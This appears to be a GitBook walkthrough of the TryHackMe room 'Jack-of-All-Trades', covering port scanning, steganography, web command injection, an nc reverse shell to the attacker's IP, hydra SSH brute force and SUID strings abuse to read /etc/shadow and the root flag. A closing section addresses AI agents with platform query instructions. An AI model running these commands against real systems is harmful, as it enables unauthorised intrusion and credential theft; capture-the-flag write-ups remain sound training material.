> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/jack-of-all-trades.md).

# Jack-of-All-Trades

**Room Link:** <https://tryhackme.com/room/jackofalltrades>

### Initial Scan

For some reason they switched port 22 with http site and 80 with ssh

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/Peanv2p6wNTgd7HtmIuN" alt=""><figcaption></figcaption></figure>

### Scan all ports

No other ports found

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

### TCP/22 - HTTP

```
gobuster dir -u http://$VICTIM:22 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/XcAr8UW2jwnccXbHIgpN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/svaHqhHpRfaIgn5HGRGQ" alt=""><figcaption></figcaption></figure>

Had to all the override to see the site on port 22 in firefox

<figure><img src="/files/DNfkWqNIrFJh1V0aCeJc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QivSeksN6FQYrynXLlc5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2ihBc1ukh8oFXlvFXQug" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aVWivn8v148g9QKnzZTu" alt=""><figcaption></figcaption></figure>

There is a stegosaurus picture on the home page so it is hinting that there's something in one of the pictures, eventually we find jackinthebox username and password in one of the pictures.

**Kali**

```
steghide extract -sf stego.jpg 
Password: u?WtKSraq

steghide extract -sf header.jpg  
Password: u?WtKSraq
```

<figure><img src="/files/BbMuhxAZNjWrddtpigtv" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VdAKoa8u5euEjHign66P" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/rJtfJO8C2ShwB1Mc2dWd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OpTZfZH2aqrb1zuicCKL" alt=""><figcaption></figcaption></figure>

If you run a command like this you can't see the results unless you view the source.

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=whoami
```

<figure><img src="/files/lM7jWHyyrIqw0Erw2mGB" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1337
```

**Browser**

```
view-source:http://$VICTIM:22/nnxhweOV/index.php?cmd=nc%20-c%20sh%2010.10.154.80%201337
```

<figure><img src="/files/65wOVsYddinNTVClCZMV" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

In the home directory there is a password list, it's small enough so I copied and pasted into a file on Kali.

<figure><img src="/files/xjUpuW3vHtGaOsUHM4DV" alt=""><figcaption></figcaption></figure>

**Kali**

```
hydra -s 80 -l jack -P passwords.txt $VICTIM -t4 ssh
```

<figure><img src="/files/U7Fzw103PyUGsRGZYVfg" alt=""><figcaption></figcaption></figure>

**Kali**

```
ssh jack@$VICTIM -p 80
Password: ITMJpGGIqg1jn?>@
```

<figure><img src="/files/UdBsxDTuuaHS5laewD9n" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/q7TePKCEfOzX1mDjZDme" alt=""><figcaption></figcaption></figure>

## PSPY

**Kali**

```
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 
python2 -m SimpleHTTPServer 81
```

**Victim**

<pre><code><strong>cd /tmp
</strong><strong>wget http://$KALI:81/pspy32 
</strong>chmod +x pspy32 
./pspy32 
</code></pre>

Strings as the  SUID-bit set which means we can run it against files we normally wouldn't be able to read. I tried getting roots password but it was taking too long.

**Victim**

```
find / -perm -u=s -type f 2> /dev/null 
/usr/bin/strings /etc/shadow
/usr/bin/strings /etc/passwd
```

**Kali**

```
unshadow passwd shadow > passwords.txt 
john --wordlist=/usr/share/wordlists/rockyou.txt passwords.txt
```

I just ended up using strings to read the root.txt

**Kali**

```
/usr/bin/strings /root/root.txt
```

<figure><img src="/files/YYzERxUJyjhzUKfRy2HN" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/jack-of-all-trades.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
